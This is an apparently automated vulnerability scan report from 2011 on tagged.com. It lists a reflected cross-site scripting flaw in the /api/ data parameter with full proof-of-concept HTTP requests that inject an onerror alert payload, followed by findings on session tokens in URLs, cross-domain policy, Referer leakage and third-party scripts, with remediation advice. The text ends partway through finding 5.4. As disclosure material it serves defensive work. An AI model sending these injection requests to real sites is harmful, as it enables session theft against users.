XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, tagged.com

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Sun May 15 14:43:19 CDT 2011.


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1. Cross-site scripting (reflected)

1.1. http://www.tagged.com/api/ [data parameter]

1.2. http://www.tagged.com/api/ [data parameter]

2. Session token in URL

3. Flash cross-domain policy

4. Cross-domain Referer leakage

4.1. http://www.tagged.com/help.html

4.2. http://www.tagged.com/index.html

4.3. http://www.tagged.com/terms_of_service.html

5. Cross-domain script include

5.1. http://www.tagged.com/

5.2. http://www.tagged.com/browse.html

5.3. http://www.tagged.com/find_groups.html

5.4. http://www.tagged.com/forgot_password.html

5.5. http://www.tagged.com/help.html

5.6. http://www.tagged.com/index.html

5.7. http://www.tagged.com/safety.html

5.8. http://www.tagged.com/terms_of_service.html

6. TRACE method is enabled

7. Email addresses disclosed

7.1. http://www.tagged.com/safety.html

7.2. http://www.tagged.com/terms_of_service.html

8. Robots.txt file

9. Content type incorrectly stated

9.1. http://www.tagged.com/api/

9.2. http://www.tagged.com/favicon.ico



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.tagged.com/api/ [data parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /api/

Issue detail

The value of the data request parameter is copied into the HTML document as plain text between tags. The payload fe9eb<img%20src%3da%20onerror%3dalert(1)>86b79eec8684e9321 was submitted in the data parameter. This input was echoed as fe9eb<img src=a onerror=alert(1)>86b79eec8684e9321 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /api/?application_id=user&format=json&session_token=k48nnbumc29k7tunhd4mautaa0&method=tagged.header.renderAlerts&callback=tagged.header.alerts.show&api_signature=&track=pkXrwJtpd9&method=tagged.util.echoIt&data=&callback=tagged.header.alerts.init&api_signature=&track=pkXrwJtpd9&method=tagged.util.echoIt&data=300fe9eb<img%20src%3da%20onerror%3dalert(1)>86b79eec8684e9321&callback=TAGGED.api.startDefer&api_signature=&track=pkXrwJtpd9 HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
Referer: http://www.tagged.com/forgot_password.html
Origin: http://www.tagged.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:41:00 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 106

{"stat":"ok","diagnostics":"1 2.3 26.64","result":"300fe9eb<img src=a onerror=alert(1)>86b79eec8684e9321"}

1.2. http://www.tagged.com/api/ [data parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /api/

Issue detail

The value of the data request parameter is copied into the HTML document as plain text between tags. The payload 6975f<img%20src%3da%20onerror%3dalert(1)>70a7439d138 was submitted in the data parameter. This input was echoed as 6975f<img src=a onerror=alert(1)>70a7439d138 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

POST /api/?application_id=user&format=json&session_token=k48nnbumc29k7tunhd4mautaa0 HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
Referer: http://www.tagged.com/forgot_password.html
Origin: http://www.tagged.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532
Content-Length: 299


method=tagged.header.renderAlerts&callback=tagged.header.alerts.show&api_signature=&track=pkXrwJtpd9
method=tagged.util.echoIt&data=6975f<img%20src%3da%20onerror%3dalert(1)>70a7439d138&callback=tagged.header.alerts.init&api_signature=&track=pkXrwJtpd9
method=tagged.util.echoIt&data=300&callback=TAGGED.api.startDefer&api_signature=&track=pkXrwJtpd9

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:43 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 263

["{\"stat\":\"ok\",\"diagnostics\":\"0 2.3 27.50\",\"result\":{\"HTML\":\"\"}}","{\"stat\":\"ok\",\"diagnostics\":\"0 2.3 27.50\",\"result\":\"6975f<img src=a onerror=alert(1)>70a7439d138\"}","{\"stat\":\"ok\",\"diagnostics\":\"0 2.3 27.50\",\"result\":\"300\"}"]

2. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.tagged.com
Path:   /api/

Issue detail

The URL in the request appears to contain a session token within the query string:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

POST /api/?application_id=user&format=json&session_token=k48nnbumc29k7tunhd4mautaa0 HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
Referer: http://www.tagged.com/forgot_password.html
Origin: http://www.tagged.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532
Content-Length: 299


method=tagged.header.renderAlerts&callback=tagged.header.alerts.show&api_signature=&track=pkXrwJtpd9
method=tagged.util.echoIt&data=&callback=tagged.header.alerts.init&api_signature=&track=pkXrwJtpd9
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:36:10 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 219

["{\"stat\":\"ok\",\"diagnostics\":\"0 2.3 25.67\",\"result\":{\"HTML\":\"\"}}","{\"stat\":\"ok\",\"diagnostics\":\"0 2.3 25.67\",\"result\":\"\"}","{\"stat\":\"ok\",\"diagnostics\":\"0 2.3 25.67\",\"
...[SNIP]...

3. Flash cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.tagged.com

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:35:30 GMT
Server: Apache
Last-Modified: Thu, 24 Mar 2011 16:12:27 GMT
ETag: "1e6f19-15d-49f3cbe55f0c0"
Accept-Ranges: bytes
Content-Length: 349
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only
...[SNIP]...
<allow-access-from domain="*.tagstat.com"/>
...[SNIP]...

4. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


4.1. http://www.tagged.com/help.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /help.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /help.html?topic=report-abuse HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:29 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 10175

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/1/SKHdnVQy2.css"></link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/KSbbNukzz.js"></script>
...[SNIP]...
</div>

<link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/H/SeREu7XWG.css"></link>
...[SNIP]...
<div class="right_block">
<img alt="Tagged" src="http://x.tagstat.com/im/headers/default/tagged_logo_black_blue_bk.gif" />
<p class="align_center">
...[SNIP]...
<p>
<a href="http://about-tagged.com">About</a> |
<a href="http://about-tagged.com/news">Blog</a>
...[SNIP]...
</div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/q/qdsqITOM2.js"></script>
<link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/S/JKkMB62Sf.css"></link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/8/wguge-j8R.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://x.tagstat.com/dyn/js/1/wZg5MmgFd.js"></script>
<link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/o/shJhH1t1H.css"></link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/3/oWaTg5-vt.js"></script>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/p?c1=2&c2=7198000&c3=&c4=www.tagged.com/help.html&c5=&c6=&c15=ed7523961151e79cf99705741a17f18a2dda17d1&cj=1" />
</noscript>
...[SNIP]...

4.2. http://www.tagged.com/index.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /index.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /index.html?r=%2Fideas.html%3Ftype%3Dsuggestions HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:28 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 36764

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head id="html_head">
<meta name="verify-v1" content="3D/41
...[SNIP]...
</title>
<link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/2/xA8fc6ah4.css"></link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/P/5JZiLybXl.js"></script>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/2/waTAVTRlj.js"></script>
...[SNIP]...
<a href="http://www.tagged.com/home.html" id="tagged_logo" class="header_content"><img class="png" src="http://x.tagstat.com/im/headers/default/logo.png" width="190" height="65"/></a>
...[SNIP]...
<div class="row1">
<img src="http://x.tagstat.com/im/regpath/index_sales_marquee.jpg"/>
</div>
...[SNIP]...
<!-- Begin recaptcha -->
<script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
<p>
<a href="http://about-tagged.com">About</a> |
<a href="http://about-tagged.com/news">Blog</a>
...[SNIP]...
<!-- Begin quantserve -->
<script type="text/javascript" src="//edge.quantserve.com/quant.js"></script>
...[SNIP]...
<noscript><img src="//pixel.quantserve.com/pixel/p-96ZHBHvG56-qg.gif" style="display:none" height="1" width="1" alt="Quantcast"/></noscript>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/p?c1=2&c2=7198000&c3=&c4=www.tagged.com/index.html&c5=&c6=&c15=ed7523961151e79cf99705741a17f18a2dda17d1&cj=1" />
</noscript>
...[SNIP]...

4.3. http://www.tagged.com/terms_of_service.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /terms_of_service.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /terms_of_service.html? HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:13 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 49843

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged - Terms of Service</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/1/SKHdnVQy2.css"></link>
<link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/d/ShGZPy9yQ.css"></link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/KSbbNukzz.js"></script>
...[SNIP]...
</div>

<link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/H/SeREu7XWG.css"></link>
...[SNIP]...
<div class="right_block">
<img alt="Tagged" src="http://x.tagstat.com/im/headers/default/tagged_logo_black_blue_bk.gif" />
<p class="align_center">
...[SNIP]...
<p>For more information about COPPA, please visit the <a
href="http://www.ftc.gov/">
Federal Trade Commission's web site</a>
...[SNIP]...
nor control over, advertisers' cookies or how they may be
used. If you would like more information about advertisers' use of cookies,
and about your option not to accept these cookies, please click
<a href="http://www.networkadvertising.org/managing/opt_out.asp">here</a>
...[SNIP]...
<p>
<a href="http://about-tagged.com">About</a> |
<a href="http://about-tagged.com/news">Blog</a>
...[SNIP]...
</div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/D/HNao8VBqt.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://x.tagstat.com/dyn/js/_/LLfXcqiIS.js"></script>
<link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/o/shJhH1t1H.css"></link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/3/oWaTg5-vt.js"></script>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/p?c1=2&c2=7198000&c3=&c4=www.tagged.com/terms_of_service.html&c5=&c6=&c15=ed7523961151e79cf99705741a17f18a2dda17d1&cj=1" />
</noscript>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 8 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://www.tagged.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:35:30 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 36548

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head id="html_head">
<meta name="verify-v1" content="3D/41
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/P/5JZiLybXl.js"></script>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/2/waTAVTRlj.js"></script>
...[SNIP]...
<!-- Begin recaptcha -->
<script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
<!-- Begin quantserve -->
<script type="text/javascript" src="//edge.quantserve.com/quant.js"></script>
...[SNIP]...

5.2. http://www.tagged.com/browse.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /browse.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /browse.html HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:31 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 21267

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged - Browse</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link rel="stylesheet" type="text/css"
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/KSbbNukzz.js"></script>
...[SNIP]...
</div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/q/qdsqITOM2.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/8/wguge-j8R.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://x.tagstat.com/dyn/js/P/4BU56VRjF.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/3/oWaTg5-vt.js"></script>
...[SNIP]...

5.3. http://www.tagged.com/find_groups.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /find_groups.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /find_groups.html HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:37 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 84366

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged - Find Groups</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link rel="stylesheet" type="text/
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/KSbbNukzz.js"></script>
...[SNIP]...
</div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/D/HNao8VBqt.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://x.tagstat.com/dyn/js/G/IHG5VCGLz.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/_/pf4TltyK0.js"></script>
...[SNIP]...

5.4. http://www.tagged.com/forgot_password.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /forgot_password.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /forgot_password.html HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:36:03 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
